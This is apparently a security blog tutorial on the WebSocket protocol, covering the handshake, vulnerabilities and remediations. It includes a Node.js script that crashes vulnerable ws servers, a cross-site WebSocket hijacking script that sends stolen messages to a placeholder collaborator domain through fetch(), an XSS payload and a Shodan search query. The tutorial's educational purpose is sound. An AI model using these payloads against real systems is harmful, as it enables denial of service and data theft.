WebSockets are an exciting technology that has been gaining traction in the industry. Many companies are using the technology, especially in their real-time services. The technology provides a fast and efficient way of communicating between a server and a client. However, the increasing technology adoption has led to some serious security vulnerabilities.
This blog will help you understand what WebSockets are, how they work, most common security vulnerabilities and how you can avoid them.
What are WebSockets?
WebSocket protocol is rapidly growing, making communicating between a client and a server much faster and more flexible. WebSockets (also known as duplex) is used primarily on the client-server communication channel.
A client and server can communicate in both directions (bidirectional) using the WebSocket protocol, which operates at OSI model Layer - 7 (the application layer). This enables the development of dynamic, real-time web applications, such as online gaming and chatting. WebSockets URL begins with ws:// or wss://, unlike HTTP. Since it is a stateful protocol, the client and server connection will remain active until one decides to break it off (client or server). When the client or the server closes the connection, it is disconnected from both ends and the resources are then unallocated.
WebSocket Communication v/s. HTTP Communication
HTTP is a one-way protocol in which the client sends the request, and the server responds. For Example, when a user submits an HTTP or HTTPS request to a server, the server responds to the client based on the Client’s request.
Each request has a corresponding response, and the connection is closed once the server sends back the response to the client. Each HTTP or HTTPS request creates a new connection with the server each time, and after receiving the response, the connection automatically closes.
WebSockets
For Example, a client (web browser) and a server exist. When we begin a connection between client and server, the client-server handshaking begins, and the client-server decides to make a new connection, which will remain active until either of them terminates it.
After a client-server handshake, the client-server will choose a new connection to keep alive; this new connection will be a WebSocket. Once the connection and communication link is established, message exchange will occur in a bidirectional mode.
The switching protocol in WebSocket is denoted by the status code 101, which differs slightly from how HTTP works.
Unidirectional communication from the client to the browser has a latency problem resolved by WebSocket. The client makes a request using the http[s]:// protocol and then waits for a response; this is known as a transaction. Each request/response initiates a new transaction, each with its overhead.
WebSockets initiates longer transactions using the ws[s]:// protocol that involves numerous requests and responses. To improve communication, the server can send data before receiving a request. WebSockets are beneficial when low-latency or live streaming of data is required, such as for real-time feeds of financial data and live match scoring.
Understanding How WebSocket Communication Works
Consider a scenario of a real-time web chat application.
In the above picture, you can see that User-A and User-B are chatting. The transmission of messages is happening through the server.
When User-A sends a "Hello," at first message goes to the server. Then the server receives the message, finds, and verifies the recipient (User-B) and sends User-A's message to UserB , and Vice versa if UserB wants to send a message.
This process is only beneficial if users want to send only 7-8 messages daily because if users like to send more messages frequently, the server will get under the load of continuous sending and receiving of messages. Hence it will cause service outrage or server shut down. Moreover, due to the slow processing of the server, the chat application will no longer be a real-time.
WebSockets are beneficial in overcoming this issue. WebSocket develops a more extended, stable connection for the transmission of messages.
The below picture shows that the communication is happening through WebSocket instead of directly through the server, ensuring quick and real-time communication.
Identifying WebSocket Handshakes
The WebSocket handshake initiates a WebSocket communication via HTTP communication. First, the client informs the server that it wants to establish a WebSocket connection.
Below is the sample request and response of WebSocket handshake and connection –
Request:
GET /start_message HTTP/1.1
Host: www.chatapp.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Languageen-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://www.chatapp.com
Sec-WebSocket-Key: L6K8tSSU8iTVlhenxKqter==
Connection: keep-alive, Upgrade
Cookie: X-Authorization=6zi42rto8ppd16gg1yr8jr6qui
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Response:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: nYIOKLyuhVG1BmH8USBIM/cgC/U=
It is important to remember that the HTTP response code 101 can be used to locate a WebSocket connection during client/server communication.
Let's understand this handshake request and response:
- Sec-WebSocket-Version header: This header identifies the version of the WebSocket protocol that the client intends to utilize. The server recognizes and certifies whether it supports that version or not. If the server cannot communicate with the provided WebSocket protocol version, it uses this same header to respond with its supported version.
- Sec-WebSocket-Key header: This header provides a Base64 encoded random key created using a WebSocket specification-defined mechanism.
- Connection: upgrade header: The client informs the server that it intends to switch to a WebSocket connection by including this header. The server responds with HTTP 101 "Switching Protocols."
- Sec-WebSocket-Accept header: The server concatenates the value obtained via the 'Sec-WebSocket-Key' client and the character string '258EAFA5-E914-47DA-95CA-C5AB0DC85B11' to get this value (default value set by RFC 6455). The result is then SHA-1 hashed before being encoded in base64 and returned. Finally, the client uses this value to determine when the server is ready to begin a WebSocket communication.
Note: Please remember that this is not an authentication or security mechanism.
The client and server can communicate asynchronously once this communication is started. Any format (HTML, JSON, text, etc.) is acceptable for the transmitted data. For Example, the most popular WebSocket libraries communicate using the JSON format.
Also, the WebSocket applications can be located online using the Shodan search engine using search query: Sec-WebSocket-Version
Security Vulnerability in WebSocket Technology
No technology is secure and neither are WebSockets. Below mentioned are some of the common vulnerabilities found in websockets:
Denial Of Service (DOS)
With WebSockets, the server can receive an infinite number of connections. This enables an attacker to launch a DOS attack on the server. This puts a heavy load on the server and consumes all of its resources. This results in slow communication..
The script mentioned below frequently causes the WebSocket server to crash, which impacts some versions of the ws client (Especially versions <1.1.5 >=2.0.0 <3.3) –
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Authentication and Authorization Risks –
There is no native authentication method for the WebSocket protocol. Also, there is no system for handling authorizations (ensuring that users only have access to the data and services they should have access to). As a result, an attacker has the potential to gain access to data related to another user with the same level of privileges as themselves or to increase their privileges vertically.
Cross-Site WebSocket Hijacking –
The challenge is that the WebSocket protocol does not allow a server to authenticate the client during the handshake procedure. Instead, there are only the standard HTTP connection techniques available. This includes HTTP and TLS authentication, as well as cookies.
An attacker can construct a custom script to establish a cross-site WebSocket connection on their domain for the vulnerable application if the WebSocket handshake depends on HTTP cookies for the session and doesn't include a CSRF token. Using this type of attack, an attacker may be able to extract sensitive information.
The following is a simple script that can be used to exploit this vulnerability:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //send the message to retrieve confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Manipulating WebSocket Messages Due to Lack of Input-Validation –
Injection attacks may occur if an attacker can alter WebSocket communications and the server does not correctly validate and sanitize the input. For Example, bypassing client-side validation, an attacker can send specifically designed payloads as a message by using a proxy tool like BurpSuite. Additionally, an attacker can launch attacks if the server does not thoroughly examine the contents of the input for special characters or malicious inputs.
Assume that we are testing a chat application that makes use of Websockets. When the user types a message, it can be transmitted in the following format:
{"message":" Hello There!"}
An attacker can intercept a request via a web proxy to cause an XSS pop-up by altering the request message with an XSS payload if there is no input validation and sanitization in place:
Note: It’s important to implement sanitization and validation of user-controlled input on both client and server sides.
{“message”:” <img src=1 onerror='alert(1)'>”}
Practical Demonstration of WebSocket Vulnerabilities
To understand the vulnerabilities in a much more detail, let’s go through a lab. We will be using Port Swigger labs in the example today.
- Use the link and access the lab. Once done, send the message on live chat and intercept the request using Burpsuite.
Remediations
- The WebSocket protocol transfers data in plain text, similarly to HTTP. As a result, this information is exposed to man-in-the-middle attacks. Instead, use the WebSocket Secure (wss://) protocol to avoid data leaking. wss, like HTTPS, does not guarantee your web application's security, but it ensures that data transport is secured using Transport Layer Security (TLS).
- Cross-site attacks can be mitigated with anti-CSRF headers like X-CSRF-Token. These tokens must be created on the server, randomly chosen, and impenetrable. The request must verify these tokens before performing any operation.
- The input provided by users, even via WebSockets, is the primary source of attacks such as XSS, SQL injections, code injections, and so on. Therefore, before use, all inputs must be sanitized using the most appropriate approach for the context.
Conclusion
We know that the web is becoming increasingly reliant on web sockets. The technology is quickly becoming ubiquitous in apps and websites to facilitate real-time user communication. It's clear that web sockets are here to stay, so it's essential to ensure you are using them securely.